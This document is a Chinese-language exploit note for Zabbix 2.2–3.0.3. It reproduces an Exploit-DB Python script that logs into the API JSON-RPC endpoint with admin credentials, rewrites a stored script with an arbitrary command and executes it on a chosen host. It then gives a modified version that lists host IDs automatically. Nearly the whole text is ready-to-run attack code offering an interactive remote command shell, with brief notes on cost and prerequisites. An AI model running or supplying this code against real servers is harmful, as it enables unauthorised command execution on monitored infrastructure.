Zabbix 2.2 < 3.0.3

henda

漏洞来源: https://www.exploit-db.com/exploits/39937/
***成本：高
危害程度：低(此洞需要密码)

利用条件: 需要高权限用户登录
影响范围：2.2 < 3.0.3
tips:

  此洞需要你拿到高权限的账户密码,当你拿到账户密码之后,进入后台也可以执行命令,利用API JSON-RPC为第二种方案。
  此exp并不是很完美,因为不会自动获取hostid。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title: Zabbix RCE with API JSON-RPC
# Date: 06-06-2016
# Exploit Author: Alexander Gurin
# Vendor Homepage: http://www.zabbix.com
# Software Link: http://www.zabbix.com/download.php
# Version: 2.2 - 3.0.3
# Tested on: Linux (Debian, CentOS)
# CVE : N/A
import requests
import json
import readline
ZABIX_ROOT = 'http://192.168.66.2'### Zabbix IP-address   
url = ZABIX_ROOT + '/api_jsonrpc.php'### Don't edit
login = 'Admin'### Zabbix login     账户
password = 'zabbix'### Zabbix password  密码
hostid = '10084'### Zabbix hostid    需要指定命令的主机
### auth
payload = {
   "jsonrpc" : "2.0",
    "method" : "user.login",
    "params": {
    'user': ""+login+"",
    'password': ""+password+"",
    },
   "auth" : None,
    "id" : 0,
}
headers = {
    'content-type': 'application/json',
}
auth  = requests.post(url, data=json.dumps(payload), headers=(headers))
auth = auth.json()
while True:
cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ')
if cmd == "" : print "Result of last command:"
if cmd == "quit" : break
### update
payload = {
"jsonrpc": "2.0",
"method": "script.update",
"params": {
    "scriptid": "1",
    "command": ""+cmd+""
},
"auth" : auth['result'],
"id" : 0,
}
cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))
### execute
payload = {
"jsonrpc": "2.0",
"method": "script.execute",
"params": {
    "scriptid": "1",
    "hostid": ""+hostid+""
},
"auth" : auth['result'],
"id" : 0,
}
cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
cmd_exe = cmd_exe.json()
print cmd_exe["result"]["value"]修改版本 自动获取hostid
#!/usr/bin/env python2.7
#coding=utf-8
import json
import requests
url = "http://x.x.x.x/api_jsonrpc.php"
header = {"Content-Type": "application/json"}
username = 'admin'
password = 'admin888'
#get auth id
payload = {
    "jsonrpc" : "2.0",
    "method" : "user.login",
    "params": {
        'user': ""+username+"",
        'password': ""+password+"",
    },
    "auth" : None,
    "id" : 0,
}
headers = {
    'content-type': 'application/json',
}
auth  = requests.post(url, data=json.dumps(payload), headers=(headers))
auth = auth.json()

#get hostid
data = {
    "jsonrpc":"2.0",
    "method":"host.get",
    "params":{
        "output":["hostid","name"],
        "filter":{"host":""}
    },
    "auth":""+auth['result']+"",
    "id":1,
}
hostid = requests.post(url, data=json.dumps(data), headers=(headers))
hostid = hostid.json()
print 'uid\tname'
for hid in hostid['result']:
print hid['hostid'],hid['name']
#exec command
hostid = raw_input('\033[41m[input_hostid]>>: \033[0m ')
while True:
    cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ')
    if cmd == "" : print "Result of last command:"
    if cmd == "quit" : break
### update
    payload = {
        "jsonrpc": "2.0",
        "method": "script.update",
        "params": {
            "scriptid": "1",
            "command": ""+cmd+""
        },
        "auth" : auth['result'],
        "id" : 0,
    }
    cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))
### execute
    payload = {
        "jsonrpc": "2.0",
        "method": "script.execute",
        "params": {
            "scriptid": "1",
            "hostid": ""+hostid+""
        },
        "auth" : auth['result'],
        "id" : 0,
    }
    cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
    cmd_exe = cmd_exe.json()
    print cmd_exe["result"]["value"]
    if cmd == 'quit':
    break